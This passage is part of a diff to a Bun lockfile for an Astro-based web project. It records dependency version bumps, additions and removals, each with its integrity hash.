"xxhash-wasm": "^1.1.0", "yargs-parser": "^21.1.1", "yocto-spinner": "^0.2.3", "zod": "^3.25.76", "zod-to-json-schema": "^3.25.1", "zod-to-ts": "^1.2.0" }, "optionalDependencies": { "sharp": "^0.34.0" }, "bin": { "astro": "astro.js" } }, "sha512-m4VWilWZ+Xt6NPoYzC4CgGZim/zQUO7WFL0RHCH0AiEavF1153iC3+me2atDvXpf/yX4PyGUeD8wZLq1cirT3g=="],
|
||||
"astro": ["astro@6.1.9", "", { "dependencies": { "@astrojs/compiler": "^3.0.1", "@astrojs/internal-helpers": "0.9.0", "@astrojs/markdown-remark": "7.1.1", "@astrojs/telemetry": "3.3.1", "@capsizecss/unpack": "^4.0.0", "@clack/prompts": "^1.1.0", "@oslojs/encoding": "^1.1.0", "@rollup/pluginutils": "^5.3.0", "aria-query": "^5.3.2", "axobject-query": "^4.1.0", "ci-info": "^4.4.0", "clsx": "^2.1.1", "common-ancestor-path": "^2.0.0", "cookie": "^1.1.1", "devalue": "^5.6.3", "diff": "^8.0.3", "dset": "^3.1.4", "es-module-lexer": "^2.0.0", "esbuild": "^0.27.3", "flattie": "^1.1.1", "fontace": "~0.4.1", "github-slugger": "^2.0.0", "html-escaper": "3.0.3", "http-cache-semantics": "^4.2.0", "js-yaml": "^4.1.1", "magic-string": "^0.30.21", "magicast": "^0.5.2", "mrmime": "^2.0.1", "neotraverse": "^0.6.18", "obug": "^2.1.1", "p-limit": "^7.3.0", "p-queue": "^9.1.0", "package-manager-detector": "^1.6.0", "piccolore": "^0.1.3", "picomatch": "^4.0.4", "rehype": "^13.0.2", "semver": "^7.7.4", "shiki": "^4.0.2", "smol-toml": "^1.6.0", "svgo": "^4.0.1", "tinyclip": "^0.1.12", "tinyexec": "^1.0.4", "tinyglobby": "^0.2.15", "tsconfck": "^3.1.6", "ultrahtml": "^1.6.0", "unifont": "~0.7.4", "unist-util-visit": "^5.1.0", "unstorage": "^1.17.5", "vfile": "^6.0.3", "vite": "^7.3.2", "vitefu": "^1.1.2", "xxhash-wasm": "^1.1.0", "yargs-parser": "^22.0.0", "zod": "^4.3.6" }, "optionalDependencies": { "sharp": "^0.34.0" }, "bin": { "astro": "bin/astro.mjs" } }, "sha512-NsAHzMzpznB281g2aM5qnBt2QjfH6ttKiZ3hSZw52If8JJ+62kbnBKbyKhR2glQcJLl7Jfe4GSl0DihFZ36rRQ=="],
|
||||
|
||||
"axobject-query": ["axobject-query@4.1.0", "", {}, "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ=="],
|
||||
|
||||
"bail": ["bail@2.0.2", "", {}, "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw=="],
|
||||
|
||||
"base-64": ["base-64@1.0.0", "", {}, "sha512-kwDPIFCGx0NZHog36dj+tHiwP4QMzsZ3AgMViUBKI0+V5n4U0ufTCUMhnQ04diaRI8EX/QcPfql7zlhZ7j4zgg=="],
|
||||
|
||||
"boolbase": ["boolbase@1.0.0", "", {}, "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww=="],
|
||||
|
||||
"boxen": ["boxen@8.0.1", "", { "dependencies": { "ansi-align": "^3.0.1", "camelcase": "^8.0.0", "chalk": "^5.3.0", "cli-boxes": "^3.0.0", "string-width": "^7.2.0", "type-fest": "^4.21.0", "widest-line": "^5.0.0", "wrap-ansi": "^9.0.0" } }, "sha512-F3PH5k5juxom4xktynS7MoFY+NUWH5LC4CnH11YB8NPew+HLpmBLCybSAEyb2F+4pRXhuhWqFesoQd6DAyc2hw=="],
|
||||
|
||||
"bun-types": ["bun-types@1.3.13", "", { "dependencies": { "@types/node": "*" } }, "sha512-QXKeHLlOLqQX9LgYaHJfzdBaV21T63HhFJnvuRCcjZiaUDpbs5ED1MgxbMra71CsryN/1dAoXuJJJwIv/2drVA=="],
|
||||
|
||||
"camelcase": ["camelcase@8.0.0", "", {}, "sha512-8WB3Jcas3swSvjIeA2yvCJ+Miyz5l1ZmB6HFb9R1317dt9LCQoswg/BGrmAmkWVEszSrrg4RwmO46qIm2OEnSA=="],
|
||||
|
||||
"ccount": ["ccount@2.0.1", "", {}, "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg=="],
|
||||
|
||||
"chalk": ["chalk@5.6.2", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="],
|
||||
|
||||
"character-entities": ["character-entities@2.0.2", "", {}, "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ=="],
|
||||
|
||||
"character-entities-html4": ["character-entities-html4@2.1.0", "", {}, "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA=="],
|
||||
@@ -378,9 +385,7 @@
|
||||
|
||||
"chokidar": ["chokidar@4.0.3", "", { "dependencies": { "readdirp": "^4.0.1" } }, "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA=="],
|
||||
|
||||
"ci-info": ["ci-info@4.3.1", "", {}, "sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA=="],
|
||||
|
||||
"cli-boxes": ["cli-boxes@3.0.0", "", {}, "sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g=="],
|
||||
"ci-info": ["ci-info@4.4.0", "", {}, "sha512-77PSwercCZU2Fc4sX94eF8k8Pxte6JAwL4/ICZLFjJLqegs7kCuAsqqj/70NQF6TvDpgFjkubQB2FW2ZZddvQg=="],
|
||||
|
||||
"cliui": ["cliui@8.0.1", "", { "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.1", "wrap-ansi": "^7.0.0" } }, "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ=="],
|
||||
|
||||
@@ -396,7 +401,7 @@
|
||||
|
||||
"commander": ["commander@11.1.0", "", {}, "sha512-yPVavfyCcRhmorC7rWlkHn15b4wDVgVmBA7kV4QVBsF7kv/9TKJAbAXVTxvTnwP8HHKjRCJDClKbciiYS7p0DQ=="],
|
||||
|
||||
"common-ancestor-path": ["common-ancestor-path@1.0.1", "", {}, "sha512-L3sHRo1pXXEqX8VU28kfgUY+YGsk09hPqZiZmLacNib6XNTCM8ubYeT7ryXQw8asB1sKgcU5lkB7ONug08aB8w=="],
|
||||
"common-ancestor-path": ["common-ancestor-path@2.0.0", "", {}, "sha512-dnN3ibLeoRf2HNC+OlCiNc5d2zxbLJXOtiZUudNFSXZrNSydxcCsSpRzXwfu7BBWCIfHPw+xTayeBvJCP/D8Ng=="],
|
||||
|
||||
"cookie": ["cookie@1.1.1", "", {}, "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ=="],
|
||||
|
||||
@@ -410,8 +415,6 @@
|
||||
|
||||
"css-what": ["css-what@6.2.2", "", {}, "sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA=="],
|
||||
|
||||
"cssesc": ["cssesc@3.0.0", "", { "bin": { "cssesc": "bin/cssesc" } }, "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg=="],
|
||||
|
||||
"csso": ["csso@5.0.5", "", { "dependencies": { "css-tree": "~2.2.0" } }, "sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ=="],
|
||||
|
||||
"daisyui": ["daisyui@5.5.19", "", {}, "sha512-pbFAkl1VCEh/MPCeclKL61I/MqRIFFhNU7yiXoDDRapXN4/qNCoMxeCCswyxEEhqL5eiTTfwHvucFtOE71C9sA=="],
|
||||
@@ -420,6 +423,10 @@
|
||||
|
||||
"decode-named-character-reference": ["decode-named-character-reference@1.2.0", "", { "dependencies": { "character-entities": "^2.0.0" } }, "sha512-c6fcElNV6ShtZXmsgNgFFV5tVX2PaV4g+MOAkb8eXHvn6sryJBrZa9r0zV6+dtTyoCKxtDy5tyQ5ZwQuidtd+Q=="],
|
||||
|
||||
"dedent-js": ["dedent-js@1.0.1", "", {}, "sha512-OUepMozQULMLUmhxS95Vudo0jb0UchLimi3+pQ2plj61Fcy8axbP9hbiD4Sz6DPqn6XG3kfmziVfQ1rSys5AJQ=="],
|
||||
|
||||
"deepmerge": ["deepmerge@4.3.1", "", {}, "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A=="],
|
||||
|
||||
"defu": ["defu@6.1.4", "", {}, "sha512-mEQCMmwJu317oSz8CwdIOdwf3xMif1ttiM8LTufzc3g6kR+9Pe236twL8j3IYT1F7GfRgGcW6MWxzZjLIkuHIg=="],
|
||||
|
||||
"dequal": ["dequal@2.0.3", "", {}, "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA=="],
|
||||
@@ -428,8 +435,6 @@
|
||||
|
||||
"detect-libc": ["detect-libc@2.1.2", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="],
|
||||
|
||||
"deterministic-object-hash": ["deterministic-object-hash@2.0.2", "", { "dependencies": { "base-64": "^1.0.0" } }, "sha512-KxektNH63SrbfUyDiwXqRb1rLwKt33AmMv+5Nhsw1kqZ13SJBRTgZHtGbE+hH3a1mVW1cz+4pqSWVPAtLVXTzQ=="],
|
||||
|
||||
"devalue": ["devalue@5.6.4", "", {}, "sha512-Gp6rDldRsFh/7XuouDbxMH3Mx8GMCcgzIb1pDTvNyn8pZGQ22u+Wa+lGV9dQCltFQ7uVw0MhRyb8XDskNFOReA=="],
|
||||
|
||||
"devlop": ["devlop@1.1.0", "", { "dependencies": { "dequal": "^2.0.0" } }, "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA=="],
|
||||
@@ -456,7 +461,7 @@
|
||||
|
||||
"entities": ["entities@6.0.1", "", {}, "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g=="],
|
||||
|
||||
"es-module-lexer": ["es-module-lexer@1.7.0", "", {}, "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA=="],
|
||||
"es-module-lexer": ["es-module-lexer@2.0.0", "", {}, "sha512-5POEcUuZybH7IdmGsD8wlf0AI55wMecM9rVBTI/qEAy2c1kTOm3DjFYjrBdI2K3BaJjJYfYFeRtM0t9ssnRuxw=="],
|
||||
|
||||
"esast-util-from-estree": ["esast-util-from-estree@2.0.0", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "devlop": "^1.0.0", "estree-util-visit": "^2.0.0", "unist-util-position-from-estree": "^2.0.0" } }, "sha512-4CyanoAudUSBAn5K13H4JhsMH6L9ZP7XbLVe/dKybkxMO7eDyLsT8UHl9TRNrU2Gr9nz+FovfSIjuXWJ81uVwQ=="],
|
||||
|
||||
@@ -468,6 +473,10 @@
|
||||
|
||||
"escape-string-regexp": ["escape-string-regexp@5.0.0", "", {}, "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw=="],
|
||||
|
||||
"esm-env": ["esm-env@1.2.2", "", {}, "sha512-Epxrv+Nr/CaL4ZcFGPJIYLWFom+YeV1DqMLHJoEd9SYRxNbaFruBwfEX/kkHUJf55j2+TUbmDcmuilbP1TmXHA=="],
|
||||
|
||||
"esrap": ["esrap@2.2.5", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.4.15" }, "peerDependencies": { "@typescript-eslint/types": "^8.2.0" }, "optionalPeers": ["@typescript-eslint/types"] }, "sha512-/yLB1538mag+dn0wsePTe8C0rDIjUOaJpMs2McodSzmM2msWcZsBSdRtg6HOBt0A/r82BN+Md3pgwSc/uWt2Ig=="],
|
||||
|
||||
"estree-util-attach-comments": ["estree-util-attach-comments@3.0.0", "", { "dependencies": { "@types/estree": "^1.0.0" } }, "sha512-cKUwm/HUcTDsYh/9FgnuFqpfquUbwIqwKM26BVCGDPVgvaCl/nDCCjUfiLlx6lsEZ3Z4RFxNbOQ60pkaEwFxGw=="],
|
||||
|
||||
"estree-util-build-jsx": ["estree-util-build-jsx@3.0.1", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "devlop": "^1.0.0", "estree-util-is-identifier-name": "^3.0.0", "estree-walker": "^3.0.0" } }, "sha512-8U5eiL6BTrPxp/CHbs2yMgP8ftMhR5ww1eIKoWRMlqvltHF8fZn5LRDvTKuxD3DUn+shRbLGqXemcP51oFCsGQ=="],
|
||||
@@ -488,8 +497,14 @@
|
||||
|
||||
"fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="],
|
||||
|
||||
"fast-string-truncated-width": ["fast-string-truncated-width@1.2.1", "", {}, "sha512-Q9acT/+Uu3GwGj+5w/zsGuQjh9O1TyywhIwAxHudtWrgF09nHOPrvTLhQevPbttcxjr/SNN7mJmfOw/B1bXgow=="],
|
||||
|
||||
"fast-string-width": ["fast-string-width@1.1.0", "", { "dependencies": { "fast-string-truncated-width": "^1.2.0" } }, "sha512-O3fwIVIH5gKB38QNbdg+3760ZmGz0SZMgvwJbA1b2TGXceKE6A2cOlfogh1iw8lr049zPyd7YADHy+B7U4W9bQ=="],
|
||||
|
||||
"fast-uri": ["fast-uri@3.1.0", "", {}, "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA=="],
|
||||
|
||||
"fast-wrap-ansi": ["fast-wrap-ansi@0.1.6", "", { "dependencies": { "fast-string-width": "^1.1.0" } }, "sha512-HlUwET7a5gqjURj70D5jl7aC3Zmy4weA1SHUfM0JFI0Ptq987NH2TwbBFLoERhfwk+E+eaq4EK3jXoT+R3yp3w=="],
|
||||
|
||||
"fast-xml-builder": ["fast-xml-builder@1.1.4", "", { "dependencies": { "path-expression-matcher": "^1.1.3" } }, "sha512-f2jhpN4Eccy0/Uz9csxh3Nu6q4ErKxf0XIsasomfOihuSUa3/xw6w8dnOtCDgEItQFJG8KyXPzQXzcODDrrbOg=="],
|
||||
|
||||
"fast-xml-parser": ["fast-xml-parser@5.5.9", "", { "dependencies": { "fast-xml-builder": "^1.1.4", "path-expression-matcher": "^1.2.0", "strnum": "^2.2.2" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-jldvxr1MC6rtiZKgrFnDSvT8xuH+eJqxqOBThUVjYrxssYTo1avZLGql5l0a0BAERR01CadYzZ83kVEkbyDg+g=="],
|
||||
@@ -506,8 +521,6 @@
|
||||
|
||||
"get-caller-file": ["get-caller-file@2.0.5", "", {}, "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg=="],
|
||||
|
||||
"get-east-asian-width": ["get-east-asian-width@1.4.0", "", {}, "sha512-QZjmEOC+IT1uk6Rx0sX22V6uHWVwbdbxf1faPqJ1QhLdGgsRGCZoyaQBm/piRdJy/D2um6hM1UP7ZEeQ4EkP+Q=="],
|
||||
|
||||
"github-slugger": ["github-slugger@2.0.0", "", {}, "sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw=="],
|
||||
|
||||
"graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="],
|
||||
@@ -546,8 +559,6 @@
|
||||
|
||||
"http-cache-semantics": ["http-cache-semantics@4.2.0", "", {}, "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ=="],
|
||||
|
||||
"import-meta-resolve": ["import-meta-resolve@4.2.0", "", {}, "sha512-Iqv2fzaTQN28s/FwZAoFq0ZSs/7hMAHJVX+w8PZl3cY19Pxk6jFFalxQoIfW2826i/fDLXv8IiEZRIT0lDuWcg=="],
|
||||
|
||||
"inline-style-parser": ["inline-style-parser@0.2.7", "", {}, "sha512-Nb2ctOyNR8DqQoR0OwRG95uNWIC0C1lCgf5Naz5H6Ji72KZ8OcFZLz2P5sNgwlyoJ8Yif11oMuYs5pBQa86csA=="],
|
||||
|
||||
"iron-webcrypto": ["iron-webcrypto@1.2.1", "", {}, "sha512-feOM6FaSr6rEABp/eDfVseKyTMDt+KGpeB35SkVn9Tyn0CqvVsY3EwI0v5i8nMHyJnzCIQf7nsy3p41TPkJZhg=="],
|
||||
@@ -558,7 +569,7 @@
|
||||
|
||||
"is-decimal": ["is-decimal@2.0.1", "", {}, "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A=="],
|
||||
|
||||
"is-docker": ["is-docker@3.0.0", "", { "bin": { "is-docker": "cli.js" } }, "sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ=="],
|
||||
"is-docker": ["is-docker@4.0.0", "", { "bin": { "is-docker": "cli.js" } }, "sha512-LHE+wROyG/Y/0ZnbktRCoTix2c1RhgWaZraMZ8o1Q7zCh0VSrICJQO5oqIIISrcSBtrXv0o233w1IYwsWCjTzA=="],
|
||||
|
||||
"is-fullwidth-code-point": ["is-fullwidth-code-point@3.0.0", "", {}, "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="],
|
||||
|
||||
@@ -568,7 +579,9 @@
|
||||
|
||||
"is-plain-obj": ["is-plain-obj@4.1.0", "", {}, "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg=="],
|
||||
|
||||
"is-wsl": ["is-wsl@3.1.0", "", { "dependencies": { "is-inside-container": "^1.0.0" } }, "sha512-UcVfVfaK4Sc4m7X3dUSoHoozQGBEFeDC+zVo06t98xe8CzHSZZBekNXH+tu0NalHolcJ/QAGqS46Hef7QXBIMw=="],
|
||||
"is-reference": ["is-reference@3.0.3", "", { "dependencies": { "@types/estree": "^1.0.6" } }, "sha512-ixkJoqQvAP88E6wLydLGGqCJsrFUnqoH6HnaczB8XmDH1oaWU+xxdptvikTgaEhtZ53Ky6YXiBuUI2WXLMCwjw=="],
|
||||
|
||||
"is-wsl": ["is-wsl@3.1.1", "", { "dependencies": { "is-inside-container": "^1.0.0" } }, "sha512-e6rvdUCiQCAuumZslxRJWR/Doq4VpPR82kqclvcS0efgt430SlGIk05vdCN58+VrzgtIcfNODjozVielycD4Sw=="],
|
||||
|
||||
"jiti": ["jiti@2.6.1", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ=="],
|
||||
|
||||
@@ -604,15 +617,15 @@
|
||||
|
||||
"lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.32.0", "", { "os": "win32", "cpu": "x64" }, "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q=="],
|
||||
|
||||
"locate-character": ["locate-character@3.0.0", "", {}, "sha512-SW13ws7BjaeJ6p7Q6CO2nchbYEc3X3J6WrmTTDto7yMPqVSZTUyY5Tjbid+Ab8gLnATtygYtiDIJGQRRn2ZOiA=="],
|
||||
|
||||
"longest-streak": ["longest-streak@3.1.0", "", {}, "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g=="],
|
||||
|
||||
"lru-cache": ["lru-cache@11.2.7", "", {}, "sha512-aY/R+aEsRelme17KGQa/1ZSIpLpNYYrhcrepKTZgE+W3WM16YMCaPwOHLHsmopZHELU0Ojin1lPVxKR0MihncA=="],
|
||||
|
||||
"lucide-astro": ["lucide-astro@0.556.0", "", { "peerDependencies": { "astro": ">=2.7.1" } }, "sha512-ugMjPb45AMfkLCaduNSbyy5NQEKvB1TxVVMmUS4S6L807PMESnX0Qp+DIKHjbyjJmPXOyLRbrzvR3YikTK7brg=="],
|
||||
|
||||
"magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="],
|
||||
|
||||
"magicast": ["magicast@0.5.1", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "source-map-js": "^1.2.1" } }, "sha512-xrHS24IxaLrvuo613F719wvOIv9xPHFWQHuvGUBmPnCA/3MQxKI3b+r7n1jAoDHmsbC5bRhTZYR77invLAxVnw=="],
|
||||
"magicast": ["magicast@0.5.2", "", { "dependencies": { "@babel/parser": "^7.29.0", "@babel/types": "^7.29.0", "source-map-js": "^1.2.1" } }, "sha512-E3ZJh4J3S9KfwdjZhe2afj6R9lGIN5Pher1pF39UGrXRqq/VDaGVIGN13BjHd2u8B61hArAGOnso7nBOouW3TQ=="],
|
||||
|
||||
"markdown-extensions": ["markdown-extensions@2.0.0", "", {}, "sha512-o5vL7aDWatOTX8LzaS1WMoaoxIiLRQJuIKKe2wAw6IeULDHaqbiqiggmx+pKvZDb1Sj+pE46Sn1T7lCqfFtg1Q=="],
|
||||
|
||||
@@ -746,6 +759,8 @@
|
||||
|
||||
"nth-check": ["nth-check@2.1.1", "", { "dependencies": { "boolbase": "^1.0.0" } }, "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w=="],
|
||||
|
||||
"obug": ["obug@2.1.1", "", {}, "sha512-uTqF9MuPraAQ+IsnPf366RG4cP9RtUi7MLO1N3KEc+wb0a6yKpeL0lmk2IB1jY5KHPAlTc6T/JRdC/YqxHNwkQ=="],
|
||||
|
||||
"ofetch": ["ofetch@1.5.1", "", { "dependencies": { "destr": "^2.0.5", "node-fetch-native": "^1.6.7", "ufo": "^1.6.1" } }, "sha512-2W4oUZlVaqAPAil6FUg/difl6YhqhUR7x2eZY4bQCko22UXg3hptq9KLQdqFClV+Wu85UX7hNtdGTngi/1BxcA=="],
|
||||
|
||||
"ohash": ["ohash@2.0.11", "", {}, "sha512-RdR9FQrFwNBNXAr4GixM8YaRZRJ5PUWbKYbE5eOsrwAjJW0q2REGcf79oYPsLyskQCZG1PLN+S/K1V00joZAoQ=="],
|
||||
@@ -754,11 +769,11 @@
|
||||
|
||||
"oniguruma-to-es": ["oniguruma-to-es@4.3.4", "", { "dependencies": { "oniguruma-parser": "^0.12.1", "regex": "^6.0.1", "regex-recursion": "^6.0.2" } }, "sha512-3VhUGN3w2eYxnTzHn+ikMI+fp/96KoRSVK9/kMTcFqj1NRDh2IhQCKvYxDnWePKRXY/AqH+Fuiyb7VHSzBjHfA=="],
|
||||
|
||||
"p-limit": ["p-limit@6.2.0", "", { "dependencies": { "yocto-queue": "^1.1.1" } }, "sha512-kuUqqHNUqoIWp/c467RI4X6mmyuojY5jGutNU0wVTmEOOfcuwLqyMVoAi9MKi2Ak+5i9+nhmrK4ufZE8069kHA=="],
|
||||
"p-limit": ["p-limit@7.3.0", "", { "dependencies": { "yocto-queue": "^1.2.1" } }, "sha512-7cIXg/Z0M5WZRblrsOla88S4wAK+zOQQWeBYfV3qJuJXMr+LnbYjaadrFaS0JILfEDPVqHyKnZ1Z/1d6J9VVUw=="],
|
||||
|
||||
"p-queue": ["p-queue@8.1.1", "", { "dependencies": { "eventemitter3": "^5.0.1", "p-timeout": "^6.1.2" } }, "sha512-aNZ+VfjobsWryoiPnEApGGmf5WmNsCo9xu8dfaYamG5qaLP7ClhLN6NgsFe6SwJ2UbLEBK5dv9x8Mn5+RVhMWQ=="],
|
||||
"p-queue": ["p-queue@9.1.2", "", { "dependencies": { "eventemitter3": "^5.0.1", "p-timeout": "^7.0.0" } }, "sha512-ktsDOALzTYTWWF1PbkNVg2rOt+HaOaMWJMUnt7T3qf5tvZ1L8dBW3tObzprBcXNMKkwj+yFSLqHso0x+UFcJXw=="],
|
||||
|
||||
"p-timeout": ["p-timeout@6.1.4", "", {}, "sha512-MyIV3ZA/PmyBN/ud8vV9XzwTrNtR4jFrObymZYnZqMmW0zA8Z17vnT0rBgFE/TlohB+YCHqXMgZzb3Csp49vqg=="],
|
||||
"p-timeout": ["p-timeout@7.0.1", "", {}, "sha512-AxTM2wDGORHGEkPCt8yqxOTMgpfbEHqF51f/5fJCmwFC3C/zNcGT63SymH2ttOAaiIws2zVg4+izQCjrakcwHg=="],
|
||||
|
||||
"package-manager-detector": ["package-manager-detector@1.6.0", "", {}, "sha512-61A5ThoTiDG/C8s8UMZwSorAGwMJ0ERVGj2OjoW5pAalsNOg15+iQiPzrLJ4jhZ1HJzmC2PIHT2oEiH3R5fzNA=="],
|
||||
|
||||
@@ -776,7 +791,7 @@
|
||||
|
||||
"picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="],
|
||||
|
||||
"picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="],
|
||||
"picomatch": ["picomatch@4.0.4", "", {}, "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A=="],
|
||||
|
||||
"postcss": ["postcss@8.5.6", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg=="],
|
||||
|
||||
@@ -784,8 +799,6 @@
|
||||
|
||||
"prismjs": ["prismjs@1.30.0", "", {}, "sha512-DEvV2ZF2r2/63V+tK8hQvrR2ZGn10srHbXviTlcv7Kpzw8jWiNTqbVgjO3IY8RxrrOUF8VPMQQFysYYYv0YZxw=="],
|
||||
|
||||
"prompts": ["prompts@2.4.2", "", { "dependencies": { "kleur": "^3.0.3", "sisteransi": "^1.0.5" } }, "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q=="],
|
||||
|
||||
"property-information": ["property-information@7.1.0", "", {}, "sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ=="],
|
||||
|
||||
